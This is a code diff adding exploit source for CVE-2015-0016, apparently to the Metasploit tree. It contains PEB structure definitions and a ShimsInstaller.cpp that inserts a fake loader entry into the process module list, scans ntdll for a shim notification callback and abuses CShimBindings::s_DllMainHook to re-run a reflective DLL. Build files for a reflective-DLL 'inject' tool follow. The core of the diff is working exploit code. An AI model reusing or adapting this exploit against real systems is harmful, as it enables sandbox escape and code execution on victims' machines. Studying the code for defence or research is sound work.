PPEB_FREE_BLOCK; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, * _PPEB; + +typedef struct +{ + WORD offset:12; + WORD type:4; +} IMAGE_RELOC, *PIMAGE_RELOC; +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.cpp b/external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.cpp new file mode 100755 index 0000000000..6faddcf4d3 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.cpp @@ -0,0 +1,190 @@ +#include "ReflectiveLoader.h" +#include "ShimsInstaller.h" + +#define LDR_DLL_NOTIFICATION_REASON_LOADED 1 + +typedef struct _MY_LDR_DATA_TABLE_ENTRY { + PVOID Reserved1[2]; + LIST_ENTRY InMemoryOrderLinks; + PVOID Reserved2[2]; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + //PVOID Reserved3[2]; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + //BYTE Reserved4[8]; + PVOID Reserved5[3]; + union { + ULONG CheckSum; + PVOID Reserved6; + } DUMMYUNIONNAME; + ULONG TimeDateStamp; +} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY; + +typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA { + // Reserved. + ULONG Flags; + // The full path name of the DLL module. + PUNICODE_STR FullDllName; + // The base file name of the DLL module. + PUNICODE_STR BaseDllName; + // A pointer to the base address for the DLL in memory. + PVOID DllBase; + // The size of the DLL image, in bytes. + ULONG SizeOfImage; +} LDR_DLL_LOADED_NOTIFICATION_DATA, *PLDR_DLL_LOADED_NOTIFICATION_DATA; + +typedef void (WINAPI *PNotificationFunc)(UINT, PLDR_DLL_LOADED_NOTIFICATION_DATA); +typedef int (WINAPI *PcshimBindingsHookFunc)(HINSTANCE, UINT, PVOID); +typedef BOOL (WINAPI *PentryPoint)(HINSTANCE, DWORD, LPVOID); + +static PMY_LDR_DATA_TABLE_ENTRY fakeLdrEntry = NULL; +static PLDR_DLL_LOADED_NOTIFICATION_DATA fakeNotification = NULL; +static LIST_ENTRY headBackup; + +static VOID CreateFakeNotification(HINSTANCE hinstDLL) +{ + fakeNotification = (PLDR_DLL_LOADED_NOTIFICATION_DATA)malloc(sizeof(LDR_DLL_LOADED_NOTIFICATION_DATA)); + fakeNotification->DllBase = hinstDLL; + fakeNotification->BaseDllName = (PUNICODE_STR)malloc(sizeof(UNICODE_STR)); + fakeNotification->BaseDllName->pBuffer = L"WinRefl.dll"; + fakeNotification->BaseDllName->Length = wcslen(fakeNotification->BaseDllName->pBuffer) * 2; + fakeNotification->BaseDllName->MaximumLength = fakeNotification->BaseDllName->Length + 2; + fakeNotification->FullDllName = (PUNICODE_STR)malloc(sizeof(UNICODE_STR)); + fakeNotification->FullDllName->pBuffer = L"WinRefl.dll"; + fakeNotification->FullDllName->Length = wcslen(fakeNotification->FullDllName->pBuffer) * 2; + fakeNotification->FullDllName->MaximumLength = fakeNotification->FullDllName->Length + 2; + fakeNotification->SizeOfImage = 0x1b000; + fakeNotification->Flags = 0; +} + +static VOID DeleteFakeNotification() { + free(fakeNotification->BaseDllName); + fakeNotification->BaseDllName = NULL; + free(fakeNotification->FullDllName); + fakeNotification->FullDllName = NULL; + free(fakeNotification); + fakeNotification = NULL; +} + +static VOID CreateFakeModule(PMY_LDR_DATA_TABLE_ENTRY templateEntry, PVOID dllBase, PVOID entryPoint) +{ + fakeLdrEntry = (PMY_LDR_DATA_TABLE_ENTRY)malloc(sizeof(MY_LDR_DATA_TABLE_ENTRY)); + memcpy(fakeLdrEntry, templateEntry, sizeof(LDR_DATA_TABLE_ENTRY)); + fakeLdrEntry->DllBase = dllBase; + fakeLdrEntry->EntryPoint = entryPoint; + fakeLdrEntry->SizeOfImage = 0x1b000; + fakeLdrEntry->FullDllName.pBuffer = L"WinRefl.dll"; + fakeLdrEntry->FullDllName.Length = wcslen(fakeLdrEntry->FullDllName.pBuffer) * 2; + fakeLdrEntry->FullDllName.MaximumLength = fakeLdrEntry->FullDllName.Length + 2; + fakeLdrEntry->BaseDllName.pBuffer = L"WinRefl.dll"; + fakeLdrEntry->BaseDllName.Length = wcslen(fakeLdrEntry->BaseDllName.pBuffer) * 2; + fakeLdrEntry->BaseDllName.MaximumLength = fakeLdrEntry->BaseDllName.Length + 2; +} + +static VOID DeleteFakeModule() +{ + free(fakeLdrEntry); + fakeLdrEntry = NULL; +} + +static VOID UnhookFakeModule() +{ + _PPEB pPeb = (_PPEB)__readfsdword(0x30); + + // Restore the InMemoryOrderModuleList + pPeb->pLdr->InMemoryOrderModuleList = headBackup; + pPeb->pLdr->InMemoryOrderModuleList.Flink->Blink = &(pPeb->pLdr->InMemoryOrderModuleList); + + DeleteFakeModule(); +} + +static VOID HookFakeModule(HINSTANCE hinstDLL, PVOID ep) { + PentryPoint entryPoint = (PentryPoint)ep; + _PPEB pPeb = (_PPEB)__readfsdword(0x30); + + LIST_ENTRY head = pPeb->pLdr->InMemoryOrderModuleList; + // Make Backup to restore later + headBackup = head; + + PMY_LDR_DATA_TABLE_ENTRY firstEntry = (PMY_LDR_DATA_TABLE_ENTRY)((BYTE *)head.Flink - (ptrdiff_t)8); + CreateFakeModule(firstEntry, hinstDLL, entryPoint); + + // Insert the fake entry in the InMemoryOrderModuleList + fakeLdrEntry->InMemoryOrderLinks.Flink = head.Flink; + fakeLdrEntry->InMemoryOrderLinks.Blink = head.Flink->Blink; + // Fix the list + pPeb->pLdr->InMemoryOrderModuleList.Flink->Blink = &(fakeLdrEntry->InMemoryOrderLinks); + pPeb->pLdr->InMemoryOrderModuleList.Flink = &(fakeLdrEntry->InMemoryOrderLinks); + + return; +} + +// Find a pointer to the IEshims!CShimBindings::_LdrNotificationCallback +static SIZE_T SearchLdrNotificationCallback() +{ + HMODULE ntdll = LoadLibraryA("ntdll.dll"); + FARPROC registerDllMethod = GetProcAddress(ntdll, "LdrRegisterDllNotification"); + PUCHAR searchPtr = (unsigned char *)registerDllMethod; + UCHAR testByte = 0x00; + SIZE_T pNotificationList = 0; + SIZE_T pNotificationCallback = 0; + for (int i = 0; i < 0x1000; i++) { + if (searchPtr[i] == searchPtr[i + 5] + 4 && + searchPtr[i + 1] == searchPtr[i + 6] && + searchPtr[i + 2] == searchPtr[i + 7] && + searchPtr[i + 3] == searchPtr[i + 8]) { + searchPtr = searchPtr + i; + pNotificationList = *(SIZE_T *)searchPtr; + break; + } + if (searchPtr[i] == searchPtr[i + 6] + 4 && + searchPtr[i + 1] == searchPtr[i + 7] && + searchPtr[i + 2] == searchPtr[i + 8] && + searchPtr[i + 3] == searchPtr[i + 9]) { + searchPtr = searchPtr + i; + pNotificationList = *(SIZE_T *)searchPtr; + break; + } + } + + memcpy(&pNotificationCallback, (SIZE_T *)pNotificationList, sizeof(SIZE_T)); + pNotificationCallback += sizeof(SIZE_T) * 2; + + return pNotificationCallback; +} + +VOID InstallShims(HINSTANCE hinstDLL, PVOID ep, LPVOID lpReserved) { + ULONG notificationStruct = 0; + PcshimBindingsHookFunc cshimBindingsHookFunc = NULL; + PNotificationFunc notificationCallback = NULL; + + // Create and Hook fake entry in the InMemoryOrderModuleList + HookFakeModule(hinstDLL, ep); + + // Create a fake LDR_DLL_LOADED_NOTIFICATION_DATA + CreateFakeNotification(hinstDLL); + + // Find IEshims!CShimBindings::_LdrNotificationCallback + memcpy(¬ificationCallback, (PVOID)SearchLdrNotificationCallback(), sizeof(PVOID)); + + // Call the IEshims!CShimBindings::_LdrNotificationCallback with the fake notification. + // It should install CShimBindings::s_DllMainHook as entry point on the fake LDR_DATA_TABLE_ENTRY + notificationCallback(LDR_DLL_NOTIFICATION_REASON_LOADED, fakeNotification); + + // Disclose the address of CShimBindings::s_DllMainHook + memcpy(&cshimBindingsHookFunc, &(fakeLdrEntry->EntryPoint), sizeof(SIZE_T)); + + // Call CShimBindings::s_DllMainHook by ourselves + // It should hijack our Reflective DLL and call the reflective entry point again... + cshimBindingsHookFunc(hinstDLL, DLL_PROCESS_ATTACH, lpReserved); + + // At this moment exploitation should be done, we free the fake LDR_DLL_LOADED_NOTIFICATION_DATA + DeleteFakeNotification(); + + // And finally Unhook the InMemoryOrderModuleList and free the resource + UnhookFakeModule(); + + ExitThread(0); +} \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.h b/external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.h new file mode 100755 index 0000000000..0351c25bed --- /dev/null +++ b/external/source/exploits/cve-2015-0016/dll/src/ShimsInstaller.h @@ -0,0 +1,5 @@ +#ifndef SHIMS_H +#define SHIMS_H + +VOID InstallShims(HINSTANCE, PVOID, LPVOID); +#endif \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/inject/inject.sln b/external/source/exploits/cve-2015-0016/inject/inject.sln new file mode 100755 index 0000000000..e6c711e846 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/inject.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual C++ Express 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject.vcproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2015-0016/inject/inject.vcproj b/external/source/exploits/cve-2015-0016/inject/inject.vcproj new file mode 100755 index 0000000000..87312eb71c --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/inject.vcproj @@ -0,0 +1,360 @@ +<?xml version="1.0" encoding="Windows-1252"?> +<VisualStudioProject + ProjectType="Visual C++" + Version="9.00" + Name="inject" + ProjectGUID="{EEF3FD41-05D8-4A07-8434-EF5D34D76335}" + RootNamespace="inject" + Keyword="Win32Proj" + TargetFrameworkVersion="196613" + > + <Platforms> + <Platform + Name="Win32" + /> + <Platform + Name="x64" + /> + </Platforms> + <ToolFiles> + </ToolFiles> + <Configurations> + <Configuration + Name="Debug|Win32" + OutputDirectory="$(SolutionDir)$(ConfigurationName)" + IntermediateDirectory="$(ConfigurationName)" + ConfigurationType="1" + CharacterSet="1" + > + <Tool + Name="VCPreBuildEventTool" + /> + <Tool + Name="VCCustomBuildTool" + /> + <Tool + Name="VCXMLDataGeneratorTool" + /> + <Tool + Name="VCWebServiceProxyGeneratorTool" + /> + <Tool + Name="VCMIDLTool" + /> + <Tool + Name="VCCLCompilerTool" + Optimization="0" + PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE" + MinimalRebuild="true" + BasicRuntimeChecks="3" + RuntimeLibrary="3" + UsePrecompiledHeader="0" + WarningLevel="3" + DebugInformationFormat="4" + /> + <Tool + Name="VCManagedResourceCompilerTool" + /> + <Tool + Name="VCResourceCompilerTool" + /> + <Tool + Name="VCPreLinkEventTool" + /> + <Tool + Name="VCLinkerTool" + LinkIncremental="2" + GenerateDebugInformation="true" + SubSystem="1" + TargetMachine="1" + /> + <Tool + Name="VCALinkTool" + /> + <Tool + Name="VCManifestTool" + /> + <Tool + Name="VCXDCMakeTool" + /> + <Tool + Name="VCBscMakeTool" + /> + <Tool + Name="VCFxCopTool" + /> + <Tool + Name="VCAppVerifierTool" + /> + <Tool + Name="VCPostBuildEventTool" + /> + </Configuration> + <Configuration + Name="Debug|x64" + OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)" + IntermediateDirectory="$(PlatformName)\$(ConfigurationName)" + ConfigurationType="1" + CharacterSet="1" + > + <Tool + Name="VCPreBuildEventTool" + /> + <Tool + Name="VCCustomBuildTool" + /> + <Tool + Name="VCXMLDataGeneratorTool" + /> + <Tool + Name="VCWebServiceProxyGeneratorTool" + /> + <Tool + Name="VCMIDLTool" + TargetEnvironment="3" + /> + <Tool + Name="VCCLCompilerTool" + Optimization="0" + PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE" + MinimalRebuild="true" + BasicRuntimeChecks="3" + RuntimeLibrary="3" + UsePrecompiledHeader="0" + WarningLevel="3" + DebugInformationFormat="3" + /> + <Tool + Name="VCManagedResourceCompilerTool" + /> + <Tool + Name="VCResourceCompilerTool" + /> + <Tool + Name="VCPreLinkEventTool" + /> + <Tool + Name="VCLinkerTool" + LinkIncremental="2" + GenerateDebugInformation="true" + SubSystem="1" + TargetMachine="17" + /> + <Tool + Name="VCALinkTool" + /> + <Tool + Name="VCManifestTool" + /> + <Tool + Name="VCXDCMakeTool" + /> + <Tool + Name="VCBscMakeTool" + /> + <Tool + Name="VCFxCopTool" + /> + <Tool + Name="VCAppVerifierTool" + /> + <Tool + Name="VCPostBuildEventTool" + /> + </Configuration> + <Configuration + Name="Release|Win32" + OutputDirectory="$(SolutionDir)$(ConfigurationName)" + IntermediateDirectory="$(ConfigurationName)" + ConfigurationType="1" + CharacterSet="2" + WholeProgramOptimization="1" + > + <Tool + Name="VCPreBuildEventTool" + /> + <Tool + Name="VCCustomBuildTool" + /> + <Tool + Name="VCXMLDataGeneratorTool" + /> + <Tool + Name="VCWebServiceProxyGeneratorTool" + /> + <Tool + Name="VCMIDLTool" + /> + <Tool + Name="VCCLCompilerTool" + Optimization="2" + EnableIntrinsicFunctions="true" + PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE" + RuntimeLibrary="0" + EnableFunctionLevelLinking="true" + UsePrecompiledHeader="0" + WarningLevel="3" + DebugInformationFormat="3" + /> + <Tool + Name="VCManagedResourceCompilerTool" + /> + <Tool + Name="VCResourceCompilerTool" + /> + <Tool + Name="VCPreLinkEventTool" + /> + <Tool + Name="VCLinkerTool" + LinkIncremental="1" + GenerateDebugInformation="true" + SubSystem="1" + OptimizeReferences="2" + EnableCOMDATFolding="2" + TargetMachine="1" + /> + <Tool + Name="VCALinkTool" + /> + <Tool + Name="VCManifestTool" + /> + <Tool + Name="VCXDCMakeTool" + /> + <Tool + Name="VCBscMakeTool" + /> + <Tool + Name="VCFxCopTool" + /> + <Tool + Name="VCAppVerifierTool" + /> + <Tool + Name="VCPostBuildEventTool" + CommandLine="copy ..\Release\inject.exe ..\bin\" + /> + </Configuration> + <Configuration + Name="Release|x64" + OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)" + IntermediateDirectory="$(PlatformName)\$(ConfigurationName)" + ConfigurationType="1" + CharacterSet="2" + WholeProgramOptimization="1" + > + <Tool + Name="VCPreBuildEventTool" + /> + <Tool + Name="VCCustomBuildTool" + /> + <Tool + Name="VCXMLDataGeneratorTool" + /> + <Tool + Name="VCWebServiceProxyGeneratorTool" + /> + <Tool + Name="VCMIDLTool" + TargetEnvironment="3" + /> + <Tool + Name="VCCLCompilerTool" + Optimization="2" + EnableIntrinsicFunctions="true" + PreprocessorDefinitions="WIN64;NDEBUG;_CONSOLE;_WIN64" + RuntimeLibrary="0" + EnableFunctionLevelLinking="true" + UsePrecompiledHeader="0" + WarningLevel="3" + DebugInformationFormat="3" + /> + <Tool + Name="VCManagedResourceCompilerTool" + /> + <Tool + Name="VCResourceCompilerTool" + /> + <Tool + Name="VCPreLinkEventTool" + /> + <Tool + Name="VCLinkerTool" + OutputFile="$(OutDir)\inject.x64.exe" + LinkIncremental="1" + GenerateDebugInformation="true" + SubSystem="1" + OptimizeReferences="2" + EnableCOMDATFolding="2" + TargetMachine="17" + /> + <Tool + Name="VCALinkTool" + /> + <Tool + Name="VCManifestTool" + /> + <Tool + Name="VCXDCMakeTool" + /> + <Tool + Name="VCBscMakeTool" + /> + <Tool + Name="VCFxCopTool" + /> + <Tool + Name="VCAppVerifierTool" + /> + <Tool + Name="VCPostBuildEventTool" + CommandLine="copy ..\x64\Release\inject.x64.exe ..\bin\" + /> + </Configuration> + </Configurations> + <References> + </References> + <Files> + <Filter + Name="Source Files" + Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx" + UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}" + > + <File + RelativePath=".\src\GetProcAddressR.c" + > + </File> + <File + RelativePath=".\src\Inject.c" + > + </File> + <File + RelativePath=".\src\LoadLibraryR.c" + > + </File> + </Filter> + <Filter + Name="Header Files" + Filter="h;hpp;hxx;hm;inl;inc;xsd" + UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}" + > + <File + RelativePath=".\src\GetProcAddressR.h" + > + </File> + <File + RelativePath=".\src\LoadLibraryR.h" + > + </File> + <File + RelativePath=".\src\ReflectiveDLLInjection.h" + > + </File> + </Filter> + </Files> + <Globals> + </Globals> +</VisualStudioProject> diff --git a/external/source/exploits/cve-2015-0016/inject/inject.vcxproj b/external/source/exploits/cve-2015-0016/inject/inject.vcxproj new file mode 100755 index 0000000000..14144ea1c8 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/inject.vcxproj @@ -0,0 +1,258 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|ARM"> + <Configuration>Debug</Configuration> + <Platform>ARM</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|ARM"> + <Configuration>Release</Configuration> + <Platform>ARM</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{EEF3FD41-05D8-4A07-8434-EF5D34D76335}</ProjectGuid> + <RootNamespace>inject</RootNamespace> + <Keyword>Win32Proj</Keyword> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <PlatformToolset>v120</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + <WholeProgramOptimization>true</WholeProgramOptimization> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <PlatformToolset>v110</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + <WholeProgramOptimization>true</WholeProgramOptimization> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <PlatformToolset>v120</PlatformToolset> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <PlatformToolset>v110</PlatformToolset> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <PlatformToolset>v120</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + <WholeProgramOptimization>true</WholeProgramOptimization> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <PlatformToolset>v120</PlatformToolset> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup> + <_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <OutDir>$(SolutionDir)$(Configuration)\</OutDir> + <IntDir>$(Configuration)\</IntDir> + <LinkIncremental>true</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'"> + <LinkIncremental>true</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(Platform)\$(Configuration)\</IntDir> + <LinkIncremental>true</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <OutDir>$(SolutionDir)$(Configuration)\</OutDir> + <IntDir>$(Configuration)\</IntDir> + <LinkIncremental>false</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'"> + <LinkIncremental>false</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(Platform)\$(Configuration)\</IntDir> + <LinkIncremental>false</LinkIncremental> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <MinimalRebuild>true</MinimalRebuild> + <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks> + <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary> + <PrecompiledHeader /> + <WarningLevel>Level3</WarningLevel> + <DebugInformationFormat>EditAndContinue</DebugInformationFormat> + </ClCompile> + <Link> + <GenerateDebugInformation>true</GenerateDebugInformation> + <SubSystem>Console</SubSystem> + <TargetMachine>MachineX86</TargetMachine> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'"> + <ClCompile> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <MinimalRebuild>true</MinimalRebuild> + <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks> + <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <DebugInformationFormat>EditAndContinue</DebugInformationFormat> + </ClCompile> + <Link> + <GenerateDebugInformation>true</GenerateDebugInformation> + <SubSystem>Console</SubSystem> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <Midl> + <TargetEnvironment>X64</TargetEnvironment> + </Midl> + <ClCompile> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <MinimalRebuild>true</MinimalRebuild> + <BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks> + <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary> + <PrecompiledHeader /> + <WarningLevel>Level3</WarningLevel> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + </ClCompile> + <Link> + <GenerateDebugInformation>true</GenerateDebugInformation> + <SubSystem>Console</SubSystem> + <TargetMachine>MachineX64</TargetMachine> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <Optimization>MaxSpeed</Optimization> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;WIN_X86;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <FunctionLevelLinking>true</FunctionLevelLinking> + <PrecompiledHeader /> + <WarningLevel>Level3</WarningLevel> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + </ClCompile> + <Link> + <GenerateDebugInformation>true</GenerateDebugInformation> + <SubSystem>Console</SubSystem> + <OptimizeReferences>true</OptimizeReferences> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <TargetMachine>MachineX86</TargetMachine> + </Link> + <PostBuildEvent> + <Command>copy ..\Release\inject.exe ..\bin\</Command> + </PostBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'"> + <ClCompile> + 